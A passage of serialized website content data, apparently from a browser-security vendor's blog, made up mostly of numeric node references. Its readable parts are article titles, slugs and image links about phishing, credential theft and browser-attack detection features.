87108],{"data":87098,"marks":87099,"value":80145,"nodeType":865},{},[],{"data":87101,"content":87104,"nodeType":33606},{"target":87102},{"sys":87103},{"id":80150,"type":909,"linkType":910},[87105],{"data":87106,"marks":87107,"value":80155,"nodeType":865},{},[],{"data":87109,"marks":87110,"value":6719,"nodeType":865},{},[],{"data":87112,"content":87113,"nodeType":866},{},[87114],{"data":87115,"marks":87116,"value":80165,"nodeType":865},{},[],{"data":87118,"content":87119,"nodeType":866},{},[87120,87123,87131,87134,87140],{"data":87121,"marks":87122,"value":80172,"nodeType":865},{},[],{"data":87124,"content":87127,"nodeType":33606},{"target":87125},{"sys":87126},{"id":52948,"type":909,"linkType":910},[87128],{"data":87129,"marks":87130,"value":8673,"nodeType":865},{},[],{"data":87132,"marks":87133,"value":80184,"nodeType":865},{},[],{"data":87135,"content":87136,"nodeType":889},{"uri":53259},[87137],{"data":87138,"marks":87139,"value":6715,"nodeType":865},{},[],{"data":87141,"marks":87142,"value":80194,"nodeType":865},{},[],{"data":87144,"content":87145,"nodeType":866},{},[87146,87149,87157],{"data":87147,"marks":87148,"value":80201,"nodeType":865},{},[],{"data":87150,"content":87153,"nodeType":33606},{"target":87151},{"sys":87152},{"id":61617,"type":909,"linkType":910},[87154],{"data":87155,"marks":87156,"value":15506,"nodeType":865},{},[],{"data":87158,"marks":87159,"value":80213,"nodeType":865},{},[],{"data":87161,"content":87162,"nodeType":1317},{},[87163],{"data":87164,"marks":87165,"value":79801,"nodeType":865},{},[],{"data":87167,"content":87168,"nodeType":866},{},[87169,87172,87180],{"data":87170,"marks":87171,"value":80226,"nodeType":865},{},[],{"data":87173,"content":87176,"nodeType":33606},{"target":87174},{"sys":87175},{"id":80231,"type":909,"linkType":910},[87177],{"data":87178,"marks":87179,"value":80236,"nodeType":865},{},[],{"data":87181,"marks":87182,"value":80240,"nodeType":865},{},[],{"data":87184,"content":87185,"nodeType":866},{},[87186],{"data":87187,"marks":87188,"value":80247,"nodeType":865},{},[],{"data":87190,"content":87191,"nodeType":866},{},[87192],{"data":87193,"marks":87194,"value":80254,"nodeType":865},{},[],{"data":87196,"content":87197,"nodeType":1616},{},[87198,87222],{"data":87199,"content":87200,"nodeType":1570},{},[87201],{"data":87202,"content":87203,"nodeType":866},{},[87204,87208,87211,87219],{"data":87205,"marks":87206,"value":80268,"nodeType":865},{},[87207],{"type":926},{"data":87209,"marks":87210,"value":80272,"nodeType":865},{},[],{"data":87212,"content":87215,"nodeType":33606},{"target":87213},{"sys":87214},{"id":80277,"type":909,"linkType":910},[87216],{"data":87217,"marks":87218,"value":80282,"nodeType":865},{},[],{"data":87220,"marks":87221,"value":80286,"nodeType":865},{},[],{"data":87223,"content":87224,"nodeType":1570},{},[87225],{"data":87226,"content":87227,"nodeType":866},{},[87228,87232,87235,87243],{"data":87229,"marks":87230,"value":80297,"nodeType":865},{},[87231],{"type":926},{"data":87233,"marks":87234,"value":80272,"nodeType":865},{},[],{"data":87236,"content":87239,"nodeType":33606},{"target":87237},{"sys":87238},{"id":80305,"type":909,"linkType":910},[87240],{"data":87241,"marks":87242,"value":80310,"nodeType":865},{},[],{"data":87244,"marks":87245,"value":80314,"nodeType":865},{},[],{"data":87247,"content":87248,"nodeType":866},{},[87249],{"data":87250,"marks":87251,"value":80321,"nodeType":865},{},[],{"data":87253,"content":87256,"nodeType":912},{"target":87254},{"sys":87255},{"id":80326,"type":909,"linkType":910},[],{"data":87258,"content":87259,"nodeType":866},{},[87260,87263,87267],{"data":87261,"marks":87262,"value":80334,"nodeType":865},{},[],{"data":87264,"marks":87265,"value":58393,"nodeType":865},{},[87266],{"type":926},{"data":87268,"marks":87269,"value":1615,"nodeType":865},{},[],{"data":87271,"content":87272,"nodeType":866},{},[87273,87276,87280],{"data":87274,"marks":87275,"value":1449,"nodeType":865},{},[],{"data":87277,"marks":87278,"value":58393,"nodeType":865},{},[87279],{"type":926},{"data":87281,"marks":87282,"value":80355,"nodeType":865},{},[],{"data":87284,"content":87285,"nodeType":866},{},[87286,87289,87297],{"data":87287,"marks":87288,"value":80362,"nodeType":865},{},[],{"data":87290,"content":87293,"nodeType":33606},{"target":87291},{"sys":87292},{"id":58195,"type":909,"linkType":910},[87294],{"data":87295,"marks":87296,"value":80371,"nodeType":865},{},[],{"data":87298,"marks":87299,"value":80375,"nodeType":865},{},[],{"data":87301,"content":87304,"nodeType":912},{"target":87302},{"sys":87303},{"id":80380,"type":909,"linkType":910},[],{"data":87306,"content":87307,"nodeType":866},{},[87308,87311,87319],{"data":87309,"marks":87310,"value":80388,"nodeType":865},{},[],{"data":87312,"content":87315,"nodeType":33606},{"target":87313},{"sys":87314},{"id":80393,"type":909,"linkType":910},[87316],{"data":87317,"marks":87318,"value":80398,"nodeType":865},{},[],{"data":87320,"marks":87321,"value":80402,"nodeType":865},{},[],{"data":87323,"content":87324,"nodeType":866},{},[87325],{"data":87326,"marks":87327,"value":80409,"nodeType":865},{},[],{"data":87329,"content":87330,"nodeType":972},{},[],{"data":87332,"content":87333,"nodeType":981},{},[87334],{"data":87335,"marks":87336,"value":80419,"nodeType":865},{},[],{"data":87338,"content":87339,"nodeType":1317},{},[87340],{"data":87341,"marks":87342,"value":79610,"nodeType":865},{},[],{"data":87344,"content":87345,"nodeType":866},{},[87346],{"data":87347,"marks":87348,"value":80432,"nodeType":865},{},[],{"data":87350,"content":87351,"nodeType":866},{},[87352],{"data":87353,"marks":87354,"value":80439,"nodeType":865},{},[],{"data":87356,"content":87357,"nodeType":866},{},[87358,87361,87369],{"data":87359,"marks":87360,"value":80446,"nodeType":865},{},[],{"data":87362,"content":87365,"nodeType":33606},{"target":87363},{"sys":87364},{"id":56089,"type":909,"linkType":910},[87366],{"data":87367,"marks":87368,"value":80455,"nodeType":865},{},[],{"data":87370,"marks":87371,"value":80459,"nodeType":865},{},[],{"data":87373,"content":87374,"nodeType":1317},{},[87375],{"data":87376,"marks":87377,"value":79801,"nodeType":865},{},[],{"data":87379,"content":87380,"nodeType":866},{},[87381,87384,87392],{"data":87382,"marks":87383,"value":80472,"nodeType":865},{},[],{"data":87385,"content":87388,"nodeType":33606},{"target":87386},{"sys":87387},{"id":58279,"type":909,"linkType":910},[87389],{"data":87390,"marks":87391,"value":80481,"nodeType":865},{},[],{"data":87393,"marks":87394,"value":80485,"nodeType":865},{},[],{"data":87396,"content":87399,"nodeType":912},{"target":87397},{"sys":87398},{"id":80490,"type":909,"linkType":910},[],{"data":87401,"content":87402,"nodeType":866},{},[87403],{"data":87404,"marks":87405,"value":80498,"nodeType":865},{},[],{"data":87407,"content":87408,"nodeType":1616},{},[87409,87418,87427],{"data":87410,"content":87411,"nodeType":1570},{},[87412],{"data":87413,"content":87414,"nodeType":866},{},[87415],{"data":87416,"marks":87417,"value":80511,"nodeType":865},{},[],{"data":87419,"content":87420,"nodeType":1570},{},[87421],{"data":87422,"content":87423,"nodeType":866},{},[87424],{"data":87425,"marks":87426,"value":80521,"nodeType":865},{},[],{"data":87428,"content":87429,"nodeType":1570},{},[87430],{"data":87431,"content":87432,"nodeType":866},{},[87433],{"data":87434,"marks":87435,"value":80531,"nodeType":865},{},[],{"data":87437,"content":87438,"nodeType":866},{},[87439,87442,87450],{"data":87440,"marks":87441,"value":80538,"nodeType":865},{},[],{"data":87443,"content":87446,"nodeType":33606},{"target":87444},{"sys":87445},{"id":58279,"type":909,"linkType":910},[87447],{"data":87448,"marks":87449,"value":80119,"nodeType":865},{},[],{"data":87451,"marks":87452,"value":1615,"nodeType":865},{},[],{"data":87454,"content":87455,"nodeType":972},{},[],{"data":87457,"content":87458,"nodeType":981},{},[87459],{"data":87460,"marks":87461,"value":80559,"nodeType":865},{},[],{"data":87463,"content":87464,"nodeType":1317},{},[87465],{"data":87466,"marks":87467,"value":79610,"nodeType":865},{},[],{"data":87469,"content":87470,"nodeType":866},{},[87471],{"data":87472,"marks":87473,"value":80572,"nodeType":865},{},[],{"data":87475,"content":87476,"nodeType":866},{},[87477,87480,87488],{"data":87478,"marks":87479,"value":80579,"nodeType":865},{},[],{"data":87481,"content":87484,"nodeType":33606},{"target":87482},{"sys":87483},{"id":80584,"type":909,"linkType":910},[87485],{"data":87486,"marks":87487,"value":4996,"nodeType":865},{},[],{"data":87489,"marks":87490,"value":80592,"nodeType":865},{},[],{"data":87492,"content":87493,"nodeType":1317},{},[87494],{"data":87495,"marks":87496,"value":79801,"nodeType":865},{},[],{"data":87498,"content":87499,"nodeType":866},{},[87500,87503,87507],{"data":87501,"marks":87502,"value":80605,"nodeType":865},{},[],{"data":87504,"marks":87505,"value":80610,"nodeType":865},{},[87506],{"type":926},{"data":87508,"marks":87509,"value":1615,"nodeType":865},{},[],{"data":87511,"content":87514,"nodeType":912},{"target":87512},{"sys":87513},{"id":80618,"type":909,"linkType":910},[],{"data":87516,"content":87517,"nodeType":866},{},[87518],{"data":87519,"marks":87520,"value":80626,"nodeType":865},{},[],{"data":87522,"content":87523,"nodeType":866},{},[87524],{"data":87525,"marks":87526,"value":80633,"nodeType":865},{},[],{"data":87528,"content":87529,"nodeType":866},{},[87530,87533,87541],{"data":87531,"marks":87532,"value":80640,"nodeType":865},{},[],{"data":87534,"content":87537,"nodeType":33606},{"target":87535},{"sys":87536},{"id":80645,"type":909,"linkType":910},[87538],{"data":87539,"marks":87540,"value":79949,"nodeType":865},{},[],{"data":87542,"marks":87543,"value":1615,"nodeType":865},{},[],{"data":87545,"content":87546,"nodeType":972},{},[],{"data":87548,"content":87549,"nodeType":981},{},[87550],{"data":87551,"marks":87552,"value":2270,"nodeType":865},{},[],{"data":87554,"content":87555,"nodeType":866},{},[87556],{"data":87557,"marks":87558,"value":80668,"nodeType":865},{},[],{"data":87560,"content":87561,"nodeType":866},{},[87562],{"data":87563,"marks":87564,"value":80675,"nodeType":865},{},[],{"data":87566,"content":87567,"nodeType":866},{},[87568,87571,87577,87580,87586],{"data":87569,"marks":87570,"value":80682,"nodeType":865},{},[],{"data":87572,"content":87573,"nodeType":889},{"uri":58651},[87574],{"data":87575,"marks":87576,"value":58656,"nodeType":865},{},[],{"data":87578,"marks":87579,"value":80692,"nodeType":865},{},[],{"data":87581,"content":87582,"nodeType":889},{"uri":34504},[87583],{"data":87584,"marks":87585,"value":2298,"nodeType":865},{},[],{"data":87587,"marks":87588,"value":1615,"nodeType":865},{},[],{"entries":87590},{"inline":87591,"hyperlink":87592,"block":87661},[],[87593,87597,87599,87603,87607,87611,87617,87621,87623,87625,87629,87633,87637,87642,87646,87648,87653,87657],{"sys":87594,"__typename":1429,"title":87595,"slug":87596},{"id":79640},"Introducing our guide to phishing detection evasion techniques","phishing-detection-evasion-launch",{"sys":87598,"__typename":1429,"title":85818,"slug":85821},{"id":79669},{"sys":87600,"__typename":1429,"title":87601,"slug":87602},{"id":79682},"How Push stopped a high risk LinkedIn spear-phishing attack against a company exec","how-push-stopped-a-high-risk-linkedin-spear-phishing-attack",{"sys":87604,"__typename":1429,"title":87605,"slug":87606},{"id":79710},"Analyzing the latest Sneaky2FA Browser-in-the-Browser phishing page","analyzing-the-latest-sneaky2fa-phishing-page",{"sys":87608,"__typename":1429,"title":87609,"slug":87610},{"id":79944},"Introducing Push Detections: Equipping SecOps and IR teams to stop browser-based attacks","introducing-push-detections",{"sys":87612,"__typename":87613,"title":87614,"slug":87615,"articleId":87616},{"id":58007},"HelpArticle","How does Push detect attacks like ClickFix and FileFix?","how-does-push-detect-attacks-like-clickfix-and-filefix",10141,{"sys":87618,"__typename":1429,"title":87619,"slug":87620},{"id":80150},"6 breaches in 5 months: Why attackers are targeting Jira with stolen credentials","why-attackers-are-targeting-jira-with-stolen-credentials",{"sys":87622,"__typename":1429,"title":53891,"slug":53894},{"id":52948},{"sys":87624,"__typename":1429,"title":62409,"slug":62412},{"id":61617},{"sys":87626,"__typename":1429,"title":87627,"slug":87628},{"id":80231},"Eliminate false positives with verified stolen credential detections using Push","verified-stolen-credential-detection",{"sys":87630,"__typename":1429,"title":87631,"slug":87632},{"id":80277},"Introducing Push password enforcement — for when weak passwords are still plaguing you","introducing-strong-password-enforcement",{"sys":87634,"__typename":1429,"title":87635,"slug":87636},{"id":80305},"No more hard simple problems: Enforce MFA on third-party apps with Push","enforce-mfa-on-third-party-apps",{"sys":87638,"__typename":87613,"title":87639,"slug":87640,"articleId":87641},{"id":58195},"How does Push protect passwords from being reused or phished?","how-does-push-detect-and-prevent-phishing-attacks",10109,{"sys":87643,"__typename":1429,"title":87644,"slug":87645},{"id":80393},"Don’t let attackers find the keys to your kingdom in a personal password manager","stop-users-saving-corp-creds-into-personal-password-managers",{"sys":87647,"__typename":1429,"title":57319,"slug":57322},{"id":56089},{"sys":87649,"__typename":87613,"title":87650,"slug":87651,"articleId":87652},{"id":58279},"Can Push detect and disable other installed browser extensions?","can-push-detect-other-installed-browser-extensions",10138,{"sys":87654,"__typename":1429,"title":87655,"slug":87656},{"id":80584},"Scattered Spider: TTP evolution in 2025","scattered-spider-ttp-evolution-in-2025",{"sys":87658,"__typename":1429,"title":87659,"slug":87660},{"id":80645},"A simple, browser-based way to protect your help desk against social engineering","employee-identity-verification-codes-release",[87662,87687,87691,87698,87705,87709,87716,87723,87730],{"sys":87663,"__typename":5503,"content":87664,"name":87686,"title":59},{"id":79578},{"json":87665},{"nodeType":1382,"data":87666,"content":87667},{},[87668],{"nodeType":866,"data":87669,"content":87670},{},[87671,87675,87683],{"nodeType":865,"value":87672,"marks":87673,"data":87674},"Learn more about these attacks and the rise of the Scattered Lapsus$ Hunters supergroup in our ",[],{},{"nodeType":889,"data":87676,"content":87678},{"uri":87677},"/blog/scattered-lapsus-hunters/",[87679],{"nodeType":865,"value":87680,"marks":87681,"data":87682},"recent blog post",[],{},{"nodeType":865,"value":1615,"marks":87684,"data":87685},[],{},"Scattered Lapsus$ Hunters blog promo",{"sys":87688,"__typename":52243,"title":87689,"arcadeDemoUrl":87690,"playText":59377},{"id":79846},"Detect and respond to browser-based attacks","https://demo.arcade.software/FDPVuWkgezE91MicpCx7?embed",{"sys":87692,"__typename":1390,"title":87693,"caption":59,"layoutMode":59,"file":87694},{"id":79884},"Detection details slideout w/ timeline etc. - KB 10136",{"url":87695,"width":87696,"height":87697},"https://images.ctfassets.net/y1cdw1ablpvd/6qMAmnkXcJpsp19n7YANTV/b89b76929cc68387121c60ee3c48b0f2/detection_enrichment_example.png",977,758,{"sys":87699,"__typename":1390,"title":87700,"caption":59,"layoutMode":59,"file":87701},{"id":80038},"Clickfix detection block page",{"url":87702,"width":87703,"height":87704},"https://images.ctfassets.net/y1cdw1ablpvd/5QM8JNSvpRk1y7eoYw7CLw/ae9e6aa8b27c067f88cfb600c57c0a34/malicious_copypaste_block_example.png",2568,1604,{"sys":87706,"__typename":52243,"title":87707,"arcadeDemoUrl":87708,"playText":59377},{"id":80102},"ClickFix Feature Release","https://demo.arcade.software/qhzGMAx2q3b6IRlHqBsB?embed",{"sys":87710,"__typename":1390,"title":87711,"caption":59,"layoutMode":59,"file":87712},{"id":80326},"MFA enforcement banner - KB 10121",{"url":87713,"width":87714,"height":87715},"https://images.ctfassets.net/y1cdw1ablpvd/1H45Qj9vCfyQTCMxs8ypU5/6eeb494d24a904058d5635f290569889/Screenshot_2024-12-09_at_1.58.57_PM.png",1438,785,{"sys":87717,"__typename":1390,"title":87718,"caption":59,"layoutMode":59,"file":87719},{"id":80380},"Password protection block screen for end-users - KB 10109",{"url":87720,"width":87721,"height":87722},"https://images.ctfassets.net/y1cdw1ablpvd/5y1AiJEoLP6BveEJwDKhAL/ba22c55dced3ec2842093000ea050fa7/protected_pwd_block_screen_branded_20260420.png",2670,1622,{"sys":87724,"__typename":1390,"title":87725,"caption":59,"layoutMode":59,"file":87726},{"id":80490},"Extension enumeration - KB 10138",{"url":87727,"width":87728,"height":87729},"https://images.ctfassets.net/y1cdw1ablpvd/1dByBmqYgpC9KhPkZoUbGN/0d65ee5ce5abceed6e8538319d83d761/extension_data_table_20251216.png",1480,826,{"sys":87731,"__typename":1390,"title":87732,"caption":59,"layoutMode":59,"file":87733},{"id":80618},"Employee verification codes - Labs - for June 2025 release notes",{"url":87734,"width":87735,"height":87736},"https://images.ctfassets.net/y1cdw1ablpvd/4es73ojyk572RJHuSrAahL/91be55af18fbcfb5f2fc3067497c9746/employee_verification_code_annotated.png",472,241,{"items":87738},[],{},"Push features we built in 2025 to stop browser-based attacks","product-feature",{"items":87743},[87744,88572,89320],{"__typename":1429,"sys":87745,"content":87746,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":88562,"authorsCollection":88568},{"id":52948},{"json":87747},{"data":87748,"content":87749,"nodeType":1382},{},[87750,87756,87762,87768,87771,87778,87784,87790,87795,87801,87806,87822,87828,87838,87841,87848,87854,87867,87873,87883,87888,87891,87898,87905,87910,87918,87934,87942,87948,87956,87971,87979,87985,87993,88019,88027,88033,88041,88057,88062,88070,88076,88084,88117,88120,88127,88135,88151,88159,88165,88173,88199,88204,88212,88218,88223,88226,88233,88241,88247,88298,88303,88306,88313,88321,88327,88332,88335,88342,88348,88354,88414,88420,88475,88481,88484,88491,88497,88503,88508,88511,88518,88524,88530,88536],{"data":87751,"content":87752,"nodeType":866},{},[87753],{"data":87754,"marks":87755,"value":52959,"nodeType":865},{},[],{"data":87757,"content":87758,"nodeType":866},{},[87759],{"data":87760,"marks":87761,"value":52966,"nodeType":865},{},[],{"data":87763,"content":87764,"nodeType":866},{},[87765],{"data":87766,"marks":87767,"value":52973,"nodeType":865},{},[],{"data":87769,"content":87770,"nodeType":972},{},[],{"data":87772,"content":87773,"nodeType":981},{},[87774],{"data":87775,"marks":87776,"value":52984,"nodeType":865},{},[87777],{"type":926},{"data":87779,"content":87780,"nodeType":866},{},[87781],{"data":87782,"marks":87783,"value":52991,"nodeType":865},{},[],{"data":87785,"content":87786,"nodeType":866},{},[87787],{"data":87788,"marks":87789,"value":52998,"nodeType":865},{},[],{"data":87791,"content":87794,"nodeType":912},{"target":87792},{"sys":87793},{"id":53003,"type":909,"linkType":910},[],{"data":87796,"content":87797,"nodeType":866},{},[87798],{"data":87799,"marks":87800,"value":53011,"nodeType":865},{},[],{"data":87802,"content":87805,"nodeType":912},{"target":87803},{"sys":87804},{"id":53016,"type":909,"linkType":910},[],{"data":87807,"content":87808,"nodeType":866},{},[87809,87812,87819],{"data":87810,"marks":87811,"value":53024,"nodeType":865},{},[],{"data":87813,"content":87814,"nodeType":889},{"uri":15501},[87815],{"data":87816,"marks":87817,"value":53032,"nodeType":865},{},[87818],{"type":943},{"data":87820,"marks":87821,"value":53036,"nodeType":865},{},[],{"data":87823,"content":87824,"nodeType":866},{},[87825],{"data":87826,"marks":87827,"value":53043,"nodeType":865},{},[],{"data":87829,"content":87830,"nodeType":866},{},[87831,87834],{"data":87832,"marks":87833,"value":53050,"nodeType":865},{},[],{"data":87835,"marks":87836,"value":53055,"nodeType":865},{},[87837],{"type":926},{"data":87839,"content":87840,"nodeType":972},{},[],{"data":87842,"content":87843,"nodeType":981},{},[87844],{"data":87845,"marks":87846,"value":53066,"nodeType":865},{},[87847],{"type":926},{"data":87849,"content":87850,"nodeType":866},{},[87851],{"data":87852,"marks":87853,"value":53073,"nodeType":865},{},[],{"data":87855,"content":87856,"nodeType":866},{},[87857,87860,87864],{"data":87858,"marks":87859,"value":53080,"nodeType":865},{},[],{"data":87861,"marks":87862,"value":53085,"nodeType":865},{},[87863],{"type":926},{"data":87865,"marks":87866,"value":53089,"nodeType":865},{},[],{"data":87868,"content":87869,"nodeType":866},{},[87870],{"data":87871,"marks":87872,"value":53096,"nodeType":865},{},[],{"data":87874,"content":87875,"nodeType":866},{},[87876,87879],{"data":87877,"marks":87878,"value":53103,"nodeType":865},{},[],{"data":87880,"marks":87881,"value":53108,"nodeType":865},{},[87882],{"type":926},{"data":87884,"content":87887,"nodeType":912},{"target":87885},{"sys":87886},{"id":53113,"type":909,"linkType":910},[],{"data":87889,"content":87890,"nodeType":972},{},[],{"data":87892,"content":87893,"nodeType":981},{},[87894],{"data":87895,"marks":87896,"value":53125,"nodeType":865},{},[87897],{"type":926},{"data":87899,"content":87900,"nodeType":1317},{},[87901],{"data":87902,"marks":87903,"value":53133,"nodeType":865},{},[87904],{"type":926},{"data":87906,"content":87909,"nodeType":912},{"target":87907},{"sys":87908},{"id":53138,"type":909,"linkType":910},[],{"data":87911,"content":87912,"nodeType":866},{},[87913],{"data":87914,"marks":87915,"value":53148,"nodeType":865},{},[87916,87917],{"type":926},{"type":943},{"data":87919,"content":87920,"nodeType":866},{},[87921,87924,87931],{"data":87922,"marks":87923,"value":53155,"nodeType":865},{},[],{"data":87925,"content":87926,"nodeType":889},{"uri":53158},[87927],{"data":87928,"marks":87929,"value":53164,"nodeType":865},{},[87930],{"type":943},{"data":87932,"marks":87933,"value":53168,"nodeType":865},{},[],{"data":87935,"content":87936,"nodeType":866},{},[87937],{"data":87938,"marks":87939,"value":53177,"nodeType":865},{},[87940,87941],{"type":926},{"type":943},{"data":87943,"content":87944,"nodeType":866},{},[87945],{"data":87946,"marks":87947,"value":53184,"nodeType":865},{},[],{"data":87949,"content":87950,"nodeType":866},{},[87951],{"data":87952,"marks":87953,"value":53193,"nodeType":865},{},[87954,87955],{"type":926},{"type":943},{"data":87957,"content":87958,"nodeType":866},{},[87959,87962,87968],{"data":87960,"marks":87961,"value":53200,"nodeType":865},{},[],{"data":87963,"content":87964,"nodeType":889},{"uri":53203},[87965],{"data":87966,"marks":87967,"value":53208,"nodeType":865},{},[],{"data":87969,"marks":87970,"value":53212,"nodeType":865},{},[],{"data":87972,"content":87973,"nodeType":866},{},[87974],{"data":87975,"marks":87976,"value":53221,"nodeType":865},{},[87977,87978],{"type":926},{"type":943},{"data":87980,"content":87981,"nodeType":866},{},[87982],{"data":87983,"marks":87984,"value":53228,"nodeType":865},{},[],{"data":87986,"content":87987,"nodeType":866},{},[87988],{"data":87989,"marks":87990,"value":53237,"nodeType":865},{},[87991,87992],{"type":926},{"type":943},{"data":87994,"content":87995,"nodeType":866},{},[87996,87999,88006,88009,88016],{"data":87997,"marks":87998,"value":53244,"nodeType":865},{},[],{"data":88000,"content":88001,"nodeType":889},{"uri":3488},[88002],{"data":88003,"marks":88004,"value":53252,"nodeType":865},{},[88005],{"type":943},{"data":88007,"marks":88008,"value":53256,"nodeType":865},{},[],{"data":88010,"content":88011,"nodeType":889},{"uri":53259},[88012],{"data":88013,"marks":88014,"value":6715,"nodeType":865},{},[88015],{"type":943},{"data":88017,"marks":88018,"value":53268,"nodeType":865},{},[],{"data":88020,"content":88021,"nodeType":866},{},[88022],{"data":88023,"marks":88024,"value":53277,"nodeType":865},{},[88025,88026],{"type":926},{"type":943},{"data":88028,"content":88029,"nodeType":866},{},[88030],{"data":88031,"marks":88032,"value":53284,"nodeType":865},{},[],{"data":88034,"content":88035,"nodeType":866},{},[88036],{"data":88037,"marks":88038,"value":53293,"nodeType":865},{},[88039,88040],{"type":926},{"type":943},{"data":88042,"content":88043,"nodeType":866},{},[88044,88047,88054],{"data":88045,"marks":88046,"value":53300,"nodeType":865},{},[],{"data":88048,"content":88049,"nodeType":889},{"uri":53259},[88050],{"data":88051,"marks":88052,"value":6715,"nodeType":865},{},[88053],{"type":943},{"data":88055,"marks":88056,"value":53311,"nodeType":865},{},[],{"data":88058,"content":88061,"nodeType":912},{"target":88059},{"sys":88060},{"id":53316,"type":909,"linkType":910},[],{"data":88063,"content":88064,"nodeType":866},{},[88065],{"data":88066,"marks":88067,"value":53326,"nodeType":865},{},[88068,88069],{"type":926},{"type":943},{"data":88071,"content":88072,"nodeType":866},{},[88073],{"data":88074,"marks":88075,"value":53333,"nodeType":865},{},[],{"data":88077,"content":88078,"nodeType":866},{},[88079],{"data":88080,"marks":88081,"value":53342,"nodeType":865},{},[88082,88083],{"type":926},{"type":943},{"data":88085,"content":88086,"nodeType":866},{},[88087,88090,88096,88099,88105,88108,88114],{"data":88088,"marks":88089,"value":53349,"nodeType":865},{},[],{"data":88091,"content":88092,"nodeType":889},{"uri":53352},[88093],{"data":88094,"marks":88095,"value":53357,"nodeType":865},{},[],{"data":88097,"marks":88098,"value":4988,"nodeType":865},{},[],{"data":88100,"content":88101,"nodeType":889},{"uri":53363},[88102],{"data":88103,"marks":88104,"value":53368,"nodeType":865},{},[],{"data":88106,"marks":88107,"value":53372,"nodeType":865},{},[],{"data":88109,"content":88110,"nodeType":889},{"uri":13013},[88111],{"data":88112,"marks":88113,"value":53379,"nodeType":865},{},[],{"data":88115,"marks":88116,"value":53383,"nodeType":865},{},[],{"data":88118,"content":88119,"nodeType":972},{},[],{"data":88121,"content":88122,"nodeType":1317},{},[88123],{"data":88124,"marks":88125,"value":53394,"nodeType":865},{},[88126],{"type":926},{"data":88128,"content":88129,"nodeType":866},{},[88130],{"data":88131,"marks":88132,"value":53403,"nodeType":865},{},[88133,88134],{"type":926},{"type":943},{"data":88136,"content":88137,"nodeType":866},{},[88138,88141,88148],{"data":88139,"marks":88140,"value":53410,"nodeType":865},{},[],{"data":88142,"content":88143,"nodeType":889},{"uri":53413},[88144],{"data":88145,"marks":88146,"value":53419,"nodeType":865},{},[88147],{"type":943},{"data":88149,"marks":88150,"value":53423,"nodeType":865},{},[],{"data":88152,"content":88153,"nodeType":866},{},[88154],{"data":88155,"marks":88156,"value":53432,"nodeType":865},{},[88157,88158],{"type":926},{"type":943},{"data":88160,"content":88161,"nodeType":866},{},[88162],{"data":88163,"marks":88164,"value":53439,"nodeType":865},{},[],{"data":88166,"content":88167,"nodeType":866},{},[88168],{"data":88169,"marks":88170,"value":53448,"nodeType":865},{},[88171,88172],{"type":926},{"type":943},{"data":88174,"content":88175,"nodeType":866},{},[88176,88179,88186,88189,88196],{"data":88177,"marks":88178,"value":53455,"nodeType":865},{},[],{"data":88180,"content":88181,"nodeType":889},{"uri":53458},[88182],{"data":88183,"marks":88184,"value":53464,"nodeType":865},{},[88185],{"type":943},{"data":88187,"marks":88188,"value":53468,"nodeType":865},{},[],{"data":88190,"content":88191,"nodeType":889},{"uri":53471},[88192],{"data":88193,"marks":88194,"value":53477,"nodeType":865},{},[88195],{"type":943},{"data":88197,"marks":88198,"value":53481,"nodeType":865},{},[],{"data":88200,"content":88203,"nodeType":912},{"target":88201},{"sys":88202},{"id":53486,"type":909,"linkType":910},[],{"data":88205,"content":88206,"nodeType":866},{},[88207],{"data":88208,"marks":88209,"value":53496,"nodeType":865},{},[88210,88211],{"type":926},{"type":943},{"data":88213,"content":88214,"nodeType":866},{},[88215],{"data":88216,"marks":88217,"value":53503,"nodeType":865},{},[],{"data":88219,"content":88222,"nodeType":912},{"target":88220},{"sys":88221},{"id":53508,"type":909,"linkType":910},[],{"data":88224,"content":88225,"nodeType":972},{},[],{"data":88227,"content":88228,"nodeType":1317},{},[88229],{"data":88230,"marks":88231,"value":694,"nodeType":865},{},[88232],{"type":926},{"data":88234,"content":88235,"nodeType":866},{},[88236],{"data":88237,"marks":88238,"value":53528,"nodeType":865},{},[88239,88240],{"type":926},{"type":943},{"data":88242,"content":88243,"nodeType":866},{},[88244],{"data":88245,"marks":88246,"value":53535,"nodeType":865},{},[],{"data":88248,"content":88249,"nodeType":1616},{},[88250,88263,88276],{"data":88251,"content":88252,"nodeType":1570},{},[88253],{"data":88254,"content":88255,"nodeType":866},{},[88256,88260],{"data":88257,"marks":88258,"value":53549,"nodeType":865},{},[88259],{"type":926},{"data":88261,"marks":88262,"value":53553,"nodeType":865},{},[],{"data":88264,"content":88265,"nodeType":1570},{},[88266],{"data":88267,"content":88268,"nodeType":866},{},[88269,88273],{"data":88270,"marks":88271,"value":53564,"nodeType":865},{},[88272],{"type":926},{"data":88274,"marks":88275,"value":53568,"nodeType":865},{},[],{"data":88277,"content":88278,"nodeType":1570},{},[88279],{"data":88280,"content":88281,"nodeType":866},{},[88282,88286,88289,88295],{"data":88283,"marks":88284,"value":53579,"nodeType":865},{},[88285],{"type":926},{"data":88287,"marks":88288,"value":53583,"nodeType":865},{},[],{"data":88290,"content":88291,"nodeType":889},{"uri":40710},[88292],{"data":88293,"marks":88294,"value":53590,"nodeType":865},{},[],{"data":88296,"marks":88297,"value":53594,"nodeType":865},{},[],{"data":88299,"content":88302,"nodeType":912},{"target":88300},{"sys":88301},{"id":53599,"type":909,"linkType":910},[],{"data":88304,"content":88305,"nodeType":972},{},[],{"data":88307,"content":88308,"nodeType":1317},{},[88309],{"data":88310,"marks":88311,"value":699,"nodeType":865},{},[88312],{"type":926},{"data":88314,"content":88315,"nodeType":866},{},[88316],{"data":88317,"marks":88318,"value":53619,"nodeType":865},{},[88319,88320],{"type":926},{"type":943},{"data":88322,"content":88323,"nodeType":866},{},[88324],{"data":88325,"marks":88326,"value":53626,"nodeType":865},{},[],{"data":88328,"content":88331,"nodeType":912},{"target":88329},{"sys":88330},{"id":53631,"type":909,"linkType":910},[],{"data":88333,"content":88334,"nodeType":972},{},[],{"data":88336,"content":88337,"nodeType":981},{},[88338],{"data":88339,"marks":88340,"value":14026,"nodeType":865},{},[88341],{"type":926},{"data":88343,"content":88344,"nodeType":866},{},[88345],{"data":88346,"marks":88347,"value":53649,"nodeType":865},{},[],{"data":88349,"content":88350,"nodeType":866},{},[88351],{"data":88352,"marks":88353,"value":53656,"nodeType":865},{},[],{"data":88355,"content":88356,"nodeType":1616},{},[88357,88376,88395],{"data":88358,"content":88359,"nodeType":1570},{},[88360],{"data":88361,"content":88362,"nodeType":866},{},[88363,88366,88373],{"data":88364,"marks":88365,"value":53669,"nodeType":865},{},[],{"data":88367,"content":88368,"nodeType":889},{"uri":53672},[88369],{"data":88370,"marks":88371,"value":8641,"nodeType":865},{},[88372],{"t